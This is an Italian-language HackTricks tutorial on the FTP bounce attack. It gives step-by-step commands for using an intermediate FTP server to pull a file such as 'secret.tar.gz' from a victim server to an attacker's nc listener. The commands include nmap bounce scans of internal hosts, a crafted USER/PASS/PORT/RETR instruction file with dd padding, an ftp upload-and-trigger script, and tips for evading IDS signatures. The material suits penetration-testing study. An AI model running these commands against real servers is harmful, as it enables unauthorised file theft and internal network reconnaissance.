FTP Bounce Download 2 of FTP File
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Riassunto
Se hai accesso a un bounce FTP server, puoi far sì che richieda file da un altro FTP server (per il quale conosci alcune credenziali) e scaricare quel file sul tuo server.
Requisiti
- Credenziali FTP valide nel FTP Middle server
- Credenziali FTP valide nel Victim FTP server
- Entrambi i server accettano il comando
PORT(bounce FTP attack) - Puoi scrivere all’interno di qualche directory del FTP Middle server
- Il FTP Middle server ha più accesso all’interno del Victim FTP server rispetto a te
Passi
- Connettiti al tuo FTP server e metti la connessione in modalità passive (
pasvcommand) così che ascolti in una directory dove il servizio vittima invierà il file. - Crea il file che il FTP Middle server invierà al Victim server (lo exploit script). Questo file sarà testo semplice con i comandi necessari per autenticarsi sul Victim server, cambiare directory e scaricare un file sul tuo server.
- Connettiti al FTP Middle Server e carica il file precedente.
- Fai fare al FTP Middle server di stabilire una connessione con il Victim server e inviare il file exploit.
- Cattura il file nel tuo FTP server.
- Elimina il file exploit dal FTP Middle server.
Verifica rapida per bounce hosts vulnerabili
- Nmap supporta ancora i controlli di FTP bounce. Esempio per verificare un potenziale FTP Middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
Se il server rifiuta valori PORT di terze parti la scansione fallirà; alcune stampanti embedded/legacy, NAS e daemon FTP di appliance lo permettono ancora.
Automazione del 2° download FTP
Di seguito un metodo modernizzato per prelevare un file attraverso un server FTP intermedio vulnerabile.
- Apri un listener passivo sulla tua macchina d’attacco (qualsiasi TCP sink va bene):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
Annota il tuo IP come
A,B,C,De la portaPcomep1,p2(p1 = P/256,p2 = P%256). -
Costruisci il file di istruzioni che il server intermedio invierà alla vittima:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- Carica e attiva dal server intermedio (classico proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- Recupera il file dal tuo listener (
loot.bin). - Rimuovi il file
instrscaricato sul server intermedio.
Note:
- Il padding (
dd ...) impedisce che la connessione di controllo si chiuda prima che il RETR finisca (problema della large TCP window discusso nelle writeup classiche). - Qualsiasi servizio in grado di ascoltare e salvare il traffico TCP può sostituire la socket PASV dell’FTP (es.,
socat -u TCP-LISTEN:2121,fork - > loot.bin). - Se il server intermedio limita le porte privilegiate, usa una porta alta in
PORTe adatta di conseguenza il tuo listener.
Trucchi extra
- Usa un server FTP bounceable per eseguire port-scan su host interni quando il trasferimento di file è bloccato:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- Alcuni WAF/IDS moderni (es., Juniper IPS) includono signature specifiche per FTP:EXPLOIT:BOUNCE-ATTACK; payload rumorosi o padding mancante possono attivarle.
- Quando il server intermedio applica restrizioni “PORT to same host”, posiziona il tuo listener sul server intermedio stesso (se hai permessi di scrittura/esecuzione) e inoltra il file catturato in seguito.
Per una guida dettagliata in stile old-school consulta: http://www.ouah.org/ftpbounce.html
References
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


